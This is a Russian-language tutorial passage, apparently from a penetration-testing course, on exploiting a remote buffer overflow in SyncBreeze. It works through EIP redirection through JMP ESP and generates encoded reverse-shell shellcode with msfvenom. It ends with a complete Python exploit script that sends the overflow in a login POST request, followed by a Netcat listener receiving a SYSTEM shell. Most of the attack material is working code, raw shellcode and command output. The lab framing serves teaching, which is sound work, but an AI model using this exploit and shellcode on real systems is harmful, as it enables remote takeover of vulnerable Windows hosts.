Можно это протестировать, обновив переменную eip в Proof-of-Concept:
Python:
...
filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
...
Листинг 18 - Перенаправление EIP
Обратите внимание, что адрес, введенный выше, записан в обратном порядке. Это связано с
Ссылка скрыта от гостей
. Операционная система может хранить адреса и данные в памяти в различных форматах. В целом, формат, используемый для хранения адресов в памяти, зависит от архитектуры, на которой работает операционная система. Little endian (порядок от младшего к старшему) в настоящее время является наиболее распространенным форматом и используется архитектурами x86 и AMD64, в то время как big endian (порядок от старшего к младшему) исторически использовался в архитектурах Sparc и PowerPC. В формате little endian младший байт числа хранится в памяти по наименьшему адресу, а старший байт - по наибольшему. Таким образом, чтобы процессор корректно интерпретировал его в памяти, необходимо хранить адрес возврата в буфере в обратном порядке.Нажав F2 в отладчике, установим точку останова по адресу 0x10090c83, чтобы следить за выполнением инструкции JMP ESP, а затем снова запустим эксплоит. Результат показан на Рисунке 15:
Рисунок 15: Точка останова на JMP ESP в LIBSSP.DLL
Отладчик показывает, что мы действительно достигли инструкции JMP ESP и попали на точку останова, которую установили ранее. Нажатие F7 в отладчике позволит выполнить одну инструкцию и перейти на место будущего шеллкода, которое сейчас представляет собой последовательность символов "D".
Отлично! Теперь нужно просто сгенерировать рабочий шеллкод и эксплоит будет завершен.
Создание шеллкода с помощью Metasploit
Написание собственного шеллкода выходит за рамки данного модуля. Тем не менее, в Metasploit Framework можно найти инструменты и утилиты, которые упрощают создание сложных нагрузок.
Ссылка скрыта от гостей
представляет собой комбинацию
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
, собирая оба этих инструмента в один фреймворк. Он может генерировать нагрузки с шеллкодом и кодировать их различными кодировщиками.С 8 июня 2015 года MSFVenom заменил msfpayload и msfencode.
В настоящее время команда msfvenom может автоматически генерировать нагрузки с более чем 500 опций, как показано ниже:
Bash:
kali@kali:~$ msfvenom -l payloads
Framework Payloads (546 total) [--payload <value>]
==================================================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
...
windows/shell_reverse_tcp Connect back to attacker and spawn a command shell
...
Листинг 19 - Команда для перечисления всех нагрузок с шеллкодом в Metasploit
Команда msfvenom довольно проста в использовании. Будем использовать ключ -p, чтобы создать базовый пэйлоад с названием windows/shell_reverse_tcp, который работает практически так же как реверс шелл Netcat. Эта нагрузка требует указать параметр LHOST, который определяет IP адрес назначения для шелла. Помимо этого можно указать дополнительный параметр LPORT, определяющий порт обратного соединения, а также флаг формата -f для выбора шеллкода в формате языка C.
Полностью команда msfvenom для создания нашего шеллкода выглядит следующим образом:
Bash:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0b\x00\x12\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
Листинг 20 - Создание шеллкода с помощью metasploit
Это оказалось довольно просто, но если посмотреть внимательно, то можно увидеть в сгенерированном шеллкоде плохие символы (такие как нулевые байты).
В случаях, когда нет возможности использовать обычный шеллкод, необходимо закодировать его в соответствии c окружением нашей цели. Это может означать преобразование шеллкода в чистый буквенно-цифровой код, избавляясь от плохих символов и т.п.
Мы будем использовать продвинутый полиморфный кодировщик,
Ссылка скрыта от гостей
, для кодирования шеллкода, а также сообщим кодировщику об известных плохих символах ключом -b:
Bash:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
unsigned char buf[] =
"\xbe\x55\xe5\xb6\x02\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x52\x31\x72\x12\x03\x72\x12\x83\x97\xe1\x54\xf7\xeb\x02\x1a"
"\xf8\x13\xd3\x7b\x70\xf6\xe2\xbb\xe6\x73\x54\x0c\x6c\xd1\x59"
"\xe7\x20\xc1\xea\x85\xec\xe6\x5b\x23\xcb\xc9\x5c\x18\x2f\x48"
"\xdf\x63\x7c\xaa\xde\xab\x71\xab\x27\xd1\x78\xf9\xf0\x9d\x2f"
"\xed\x75\xeb\xf3\x86\xc6\xfd\x73\x7b\x9e\xfc\x52\x2a\x94\xa6"
"\x74\xcd\x79\xd3\x3c\xd5\x9e\xde\xf7\x6e\x54\x94\x09\xa6\xa4"
"\x55\xa5\x87\x08\xa4\xb7\xc0\xaf\x57\xc2\x38\xcc\xea\xd5\xff"
"\xae\x30\x53\x1b\x08\xb2\xc3\xc7\xa8\x17\x95\x8c\xa7\xdc\xd1"
"\xca\xab\xe3\x36\x61\xd7\x68\xb9\xa5\x51\x2a\x9e\x61\x39\xe8"
"\xbf\x30\xe7\x5f\xbf\x22\x48\x3f\x65\x29\x65\x54\x14\x70\xe2"
"\x99\x15\x8a\xf2\xb5\x2e\xf9\xc0\x1a\x85\x95\x68\xd2\x03\x62"
"\x8e\xc9\xf4\xfc\x71\xf2\x04\xd5\xb5\xa6\x54\x4d\x1f\xc7\x3e"
"\x8d\xa0\x12\x90\xdd\x0e\xcd\x51\x8d\xee\xbd\x39\xc7\xe0\xe2"
"\x5a\xe8\x2a\x8b\xf1\x13\xbd\xbe\x0e\x1b\x2f\xd7\x12\x1b\x4e"
"\x9c\x9a\xfd\x3a\xf2\xca\x56\xd3\x6b\x57\x2c\x42\x73\x4d\x49"
"\x44\xff\x62\xae\x0b\x08\x0e\xbc\xfc\xf8\x45\x9e\xab\x07\x70"
"\xb6\x30\x95\x1f\x46\x3e\x86\xb7\x11\x17\x78\xce\xf7\x85\x23"
"\x78\xe5\x57\xb5\x43\xad\x83\x06\x4d\x2c\x41\x32\x69\x3e\x9f"
"\xbb\x35\x6a\x4f\xea\xe3\xc4\x29\x44\x42\xbe\xe3\x3b\x0c\x56"
"\x75\x70\x8f\x20\x7a\x5d\x79\xcc\xcb\x08\x3c\xf3\xe4\xdc\xc8"
"\x8c\x18\x7d\x36\x47\x99\x8d\x7d\xc5\x88\x05\xd8\x9c\x88\x4b"
"\xdb\x4b\xce\x75\x58\x79\xaf\x81\x40\x08\xaa\xce\xc6\xe1\xc6"
"\x5f\xa3\x05\x74\x5f\xe6";
Листинг 21 - Создание шеллкода без плохих символов
Получившийся шеллкод не содержит плохих символов, имеет длину 351 байт и прокинет реверс шелл по заданному IP адресу (10.11.0.4 в этом примере) на порт 443.
Получение Шелла
Получить реверс шелл от SyncBreeze теперь должно быть так же просто, как заменить буфер из символов "D" на шеллкод и запустить эксплоит.
Однако в данном конкретном случае предстоит преодолеть еще одно препятствие. На предыдущем шаге был сгенерирован закодированный шеллкод с помощью msfvenom. Из-за кодировки шеллкод не может быть выполнен в том виде, в котором он передан, поэтому перед ним добавляется "заглушка декодера" (decoder stub). Задача этой заглушки заключается в том, чтобы пройти по всем закодированным байтам шеллкода и декодировать их обратно в исходную исполняемую форму. Чтобы выполнить эту задачу, декодер должен определить свой адрес в памяти и оттуда посмотреть на несколько байт вперед, чтобы найти закодированный шеллкод, который ему необходимо декодировать. В рамках процесса определения местоположения заглушки декодера в памяти, код выполняет последовательность инструкций ассемблера, которую обычно называют процедурой GetPC. По сути, это короткая процедура, которая помещает значение регистра EIP (иногда называемого Счетчиком Команд, Program Counter или PC) в другой регистр.
Как и другие процедуры GetPC, те, которые использует shikata-ga-nai, имеют нежелательный побочный эффект перезаписи некоторых данных около вершины стека. В итоге это портит несколько байт, находящихся рядом с адресом, на который указывает регистр ESP. К сожалению, это небольшое изменение в стеке является для нас проблемой, так как код декодера начинается в точности там, куда указывает регистр ESP. Короче говоря, выполнение процедуры GetPC оканчивается перезаписью нескольких байт самого декодера (и, возможно, закодированного шеллкода), что в итоге нарушает процесс декодирования и приводит весь процесс к сбою.
Рисунок 16: Декодер перезаписывает сам себя
Один из способов избежать этой проблемы - это отодвинуть ESP назад перед выполнением декодера, используя такие инструкции ассемблера, как DEC ESP, SUB ESP, 0xXX. Также можно создать широкую "посадочную площадку" (landing pad) для нашей инструкции JMP ESP, так что, когда поток выполнения перейдет на один из адресов в этой области, он педейдет дальше к пэйлоаду. Это может звучать запутанно, но на самом деле мы просто вставляем перед полезной нагрузкой последовательность инструкций "No Operation" (или NOP), которые имеют значение опкода 0x90. Как следует из названия, они ничего не делают, и просто передают управление следующей инструкции. Используя таким образом, эти инструкции, также известные как NOP цепочка или NOP slide, позволяют процессору "проскользить" по этим NOP до самого пэйлоада.
В обоих случаях, к тому моменту как выполнение дойдет до декодера, указатель стека будет указывать на адрес, расположенный достаточно далеко от него, чтобы не повредить шеллкод, когда процедура GetPC перезапишет несколько байт в стеке.
После добавления NOP цепочки эксплойт будет выглядеть как в Листинге 22:
Bash:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
shellcode = ("\xbe\x55\xe5\xb6\x02\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x52\x31\x72\x12\x03\x72\x12\x83\x97\xe1\x54\xf7\xeb\x02\x1a"
"\xf8\x13\xd3\x7b\x70\xf6\xe2\xbb\xe6\x73\x54\x0c\x6c\xd1\x59"
"\xe7\x20\xc1\xea\x85\xec\xe6\x5b\x23\xcb\xc9\x5c\x18\x2f\x48"
"\xdf\x63\x7c\xaa\xde\xab\x71\xab\x27\xd1\x78\xf9\xf0\x9d\x2f"
"\xed\x75\xeb\xf3\x86\xc6\xfd\x73\x7b\x9e\xfc\x52\x2a\x94\xa6"
"\x74\xcd\x79\xd3\x3c\xd5\x9e\xde\xf7\x6e\x54\x94\x09\xa6\xa4"
"\x55\xa5\x87\x08\xa4\xb7\xc0\xaf\x57\xc2\x38\xcc\xea\xd5\xff"
"\xae\x30\x53\x1b\x08\xb2\xc3\xc7\xa8\x17\x95\x8c\xa7\xdc\xd1"
"\xca\xab\xe3\x36\x61\xd7\x68\xb9\xa5\x51\x2a\x9e\x61\x39\xe8"
"\xbf\x30\xe7\x5f\xbf\x22\x48\x3f\x65\x29\x65\x54\x14\x70\xe2"
"\x99\x15\x8a\xf2\xb5\x2e\xf9\xc0\x1a\x85\x95\x68\xd2\x03\x62"
"\x8e\xc9\xf4\xfc\x71\xf2\x04\xd5\xb5\xa6\x54\x4d\x1f\xc7\x3e"
"\x8d\xa0\x12\x90\xdd\x0e\xcd\x51\x8d\xee\xbd\x39\xc7\xe0\xe2"
"\x5a\xe8\x2a\x8b\xf1\x13\xbd\xbe\x0e\x1b\x2f\xd7\x12\x1b\x4e"
"\x9c\x9a\xfd\x3a\xf2\xca\x56\xd3\x6b\x57\x2c\x42\x73\x4d\x49"
"\x44\xff\x62\xae\x0b\x08\x0e\xbc\xfc\xf8\x45\x9e\xab\x07\x70"
"\xb6\x30\x95\x1f\x46\x3e\x86\xb7\x11\x17\x78\xce\xf7\x85\x23"
"\x78\xe5\x57\xb5\x43\xad\x83\x06\x4d\x2c\x41\x32\x69\x3e\x9f"
"\xbb\x35\x6a\x4f\xea\xe3\xc4\x29\x44\x42\xbe\xe3\x3b\x0c\x56"
"\x75\x70\x8f\x20\x7a\x5d\x79\xcc\xcb\x08\x3c\xf3\xe4\xdc\xc8"
"\x8c\x18\x7d\x36\x47\x99\x8d\x7d\xc5\x88\x05\xd8\x9c\x88\x4b"
"\xdb\x4b\xce\x75\x58\x79\xaf\x81\x40\x08\xaa\xce\xc6\xe1\xc6"
"\x5f\xa3\x05\x74\x5f\xe6")
filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.11.0.22\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://10.11.0.22/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.11.0.22", 80))
s.send(buffer)
s.close()
print "\nDone did you get a reverse shell?"
except:
print "\nCould not connect!"
Листинг 22 - Финальный код эксплоита
В ожидании реверс шелла, настроим Netcat listener на порту 443 на атакующем хосте и выполним скрипт эксплоита. Должны сразу же получить реверс шелл из-под SYSTEM от хоста жертвы:
Bash:
kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 57692
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
whoami
nt authority\system
C:\Windows\system32>
Листинг 23 - Реверс шелл получен
Отлично! Сработало. С нуля был создан полностью рабочий эксплоит для уязвимости переполнения буфера. Однако, осталось еще одно небольшое затруднение, с которым необходимо разобраться. Обратите внимание, что как только происходит выход из реверс шелла, служба SyncBreeze аварийно завершается. Это далеко не идеально.
Улучшаем Эксплоит
По умолчанию методом завершения работы шеллкода после его выполнения является ExitProcess API. При завершении работы реверс шелла этот метод завершает весь процесс веб службы, фактически убивая службу SyncBreeze и приводя ее к сбою.
Если программа, которую атакуем, является многопоточным приложением, а в данном случае так и есть, то можно попытаться избежать сбоя в службе, используя ExitThread API, который завершит только затронутый поток программы. Это позволит эксплоиту выполниться, не нарушая обычную работу сервера SyncBreeze, что в свою очередь позволит нам многократно применять эксплоит на сервере и завершать работу шелла без нарушения работы службы.
Чтобы дать msfvenom команду использовать метод ExitThread во время генерации шеллкода, можно использовать опцию EXITFUNC=thread, как показано в Листинге ниже:
Bash:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d"
Листинг 24 - Генерация шеллкода с использованием ExitThread
Заключение
Заключение
В этой главе были найдены и проэксплуатировали уязвимость в приложении SyncBreeze. Несмотря на то, что это была известная уязвимость, мы прошли через все этапы, необходимые для ее "обнаружения", и не полагались не результаты предыдущих исследований. По сути, воспроизвели процесс обнаружения и эксплуатации удаленного переполнения буфера.
Этот процесс состоял из нескольких этапов. Во-первых, была обнаружена уязвимость в коде (без доступа к исходному коду) и сгенерированы входные данные, которые привели к переполнению, что дало нам контроль над критичными регистрами ЦП. Затем осуществлялось управление памятью, чтобы получить удаленное выполнение кода, и был изменен эксплоит, чтобы избежать сбоя в целевом приложении.
Последнее редактирование: